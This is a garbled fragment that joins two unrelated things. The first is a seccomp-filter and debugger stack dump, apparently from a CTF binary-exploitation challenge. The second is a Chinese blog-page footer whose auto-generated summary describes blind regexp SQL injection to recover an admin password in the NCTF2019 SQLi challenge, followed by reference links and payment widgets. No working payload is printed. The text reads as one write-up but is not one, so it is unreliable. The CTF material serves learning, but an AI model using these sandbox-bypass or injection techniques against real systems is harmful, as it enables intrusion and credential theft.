 0004: 0x15 0x00 0x0b 0xffffffff  if (A != 0xffffffff) goto 0016
 0005: 0x15 0x02 0x00 0x00000002  if (A == open) goto 0008                       openat
 0006: 0x15 0x01 0x00 0x00000028  if (A == sendfile) goto 0008
 0007: 0x15 0x00 0x01 0x0000003b  if (A != execve) goto 0009
 0008: 0x06 0x00 0x00 0x0005000d  return ERRNO(13)
 0009: 0x15 0x00 0x05 0x00000000  if (A != read) goto 0015                      close(2);open();read(2,);write()
 0010: 0x20 0x00 0x00 0x00000014  A = fd >> 32 # read(fd, buf, count)
 0011: 0x25 0x04 0x00 0x00000000  if (A > 0x0) goto 0016
 0012: 0x15 0x00 0x02 0x00000000  if (A != 0x0) goto 0015
 0013: 0x20 0x00 0x00 0x00000010  A = fd # read(fd, buf, count)
 0014: 0x25 0x01 0x00 0x00000002  if (A > 0x2) goto 0016
 0015: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0016: 0x06 0x00 0x00 0x00000000  return KILL

0x00007fffffffdf88│+0x0128: 0x00007fffffffe2c6  →  0x4300316e77702f2e ("./pwn1"?)
0x00007fffffffdf90│+0x0130: 0x0000000000000000
0x00007fffffffdf98│+0x0138: 0x00007fffffffe2cd  →  "COLORFGBG=15;0"                 <------ environ[0] = 0x00007fffffffdf98
0x00007fffffffdfa0│+0x0140: 0x00007fffffffe2dc  →  "COLORTERM=truecolor"
0x00007fffffffdfa8│+0x0148: 0x00007fffffffe2f0  →  "COMMAND_NOT_FOUND_INSTALL_PROMPT=1"

'''

  • 27
    点赞
  • 31
    收藏
    觉得还不错? 一键收藏
  • 2
    评论
\[NCTF2019\]SQLi是一个CTF比赛中的题目,涉及到SQL注入。根据引用\[1\]和引用\[2\]的内容,可以得知在该题目中,通过构造特定的SQL语句,可以绕过过滤,获取到管理员的密码,从而获得flag。具体的解题思路是通过不断尝试不同的字符,构造SQL语句进行盲注,判断是否成功绕过过滤。引用\[3\]提供了一个Python脚本的示例,可以用来自动化进行尝试。该脚本通过构造不同长度的payload,逐位尝试密码的每一位字符,直到获取到完整的密码。 #### 引用[.reference_title] - *1* [[NCTF2019]SQLi --BUUCTF --详解](https://blog.csdn.net/l2872253606/article/details/125265138)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v91^control_2,239^v3^insert_chatgpt"}} ] [.reference_item] - *2* [[NCTF2019]SQLi(Regexp注入)](https://blog.csdn.net/weixin_45669205/article/details/116137824)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v91^control_2,239^v3^insert_chatgpt"}} ] [.reference_item] - *3* [[NCTF2019]SQLi](https://blog.csdn.net/shinygod/article/details/124100832)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v91^control_2,239^v3^insert_chatgpt"}} ] [.reference_item] [ .reference_list ]

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值